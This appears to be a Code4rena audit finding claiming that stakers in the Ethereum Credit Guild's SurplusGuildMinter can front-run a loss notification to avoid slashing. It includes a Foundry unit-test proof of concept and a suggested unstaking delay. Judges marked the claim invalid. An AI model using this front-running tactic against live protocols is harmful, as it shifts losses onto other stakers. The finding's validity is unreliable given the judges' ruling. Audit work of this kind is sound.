Users can to front-run a slash transaction without incurring any slashing penaltie.

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Users can stake his credit tokens in the SuplusGuildMinter.sol contract to vote for a gauge(term) and earn some fees by the interes paid for the borrowers. Staking in the SuplusGuildMinter come with the consecuence that if the gauge that you are voting on get a loss, all his credit token amount staked get slashed.

Losses in a gauge are notified by the profit manager in the notifyPnl function :

function notifyPnL(
        address gauge,
        int256 amount
    ) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
        uint256 _surplusBuffer = surplusBuffer;
        uint256 _termSurplusBuffer = termSurplusBuffer[gauge];
        address _credit = credit;

        // handling loss
        if (amount < 0) {
            uint256 loss = uint256(-amount);

            // save gauge loss
            GuildToken(guild).notifyGaugeLoss(gauge);      <---------
            ...
            }
        ...
   }

Wich is called by the term when there is an auction that result in bad deb or a forgive loan

Knowing this, an attacker can front runt the call, forgive, onbid, bid, notifyPnL transaction and send the unstake transaction afterward with higher gas to ensure its prioritized execution.

Impact

Users or attackers can claim all their fees, front-run the slash transaction, (call, forgive, unbid, bid, notifyPnL) and stake in different gauges. By repeatedly front-running loss transactions (call, forgive, unbid, bid) and staking in alternative gauges, they can effectively avoid losses and continue earning fees, resulting in a direct loss for the protocol.

Proof of Concept

Run the next function Test in foundry in file:2023-12-ethereumcreditguild/test/unit/loan /SurplusGuildMinter.t.sol

function testUnstakeWithLossFrontRun() public {
        address user1 = address(1);
        address user2 = address(2);

        // setup
        credit.mint(user1, 150e18);
        credit.mint(user2, 150e18);

        vm.startPrank(user1);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        vm.startPrank(user2);
        credit.approve(address(sgm), 150e18);
        sgm.stake(term, 150e18);
        vm.stopPrank();

        // the guild token earn interests
        vm.prank(governor);
        profitManager.setProfitSharingConfig(
            0.5e18, // surplusBufferSplit
            0, // creditSplit
            0.5e18, // guildSplit
            0, // otherSplit
            address(0) // otherRecipient
        );

        // next block
        vm.warp(block.timestamp + 13);
        vm.roll(block.number + 1);

        //user1 front run the loss transaction
        vm.prank(user1);
        sgm.unstake(term, 150e18);

        // loss in gauge
        profitManager.notifyPnL(term, -27.5e18);

        // unstake (sgm)
        vm.prank(user2);
        sgm.unstake(term, 150e18);

        assertEq(credit.balanceOf(user1), 150e18);
        assertEq(credit.balanceOf(user2), 0);
    }

In this simple proof of concept, I demonstrate that User 1 can front-run the notifyPnl transaction, avoiding any losses, while User 2 gets completely slashed.

Tools Used

Manual, Foundry

Recommended Mitigation Steps

Consider adding an unstaking period to prevent users from front-running the slash transaction. With an unstaking period in place, users would be required to wait for a specified duration before unstaking, reducing the risk of front-running.

Assessed type

Other

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #906

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #877

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid

[c4-judge]

Trumpero marked the issue as unsatisfactory:
Invalid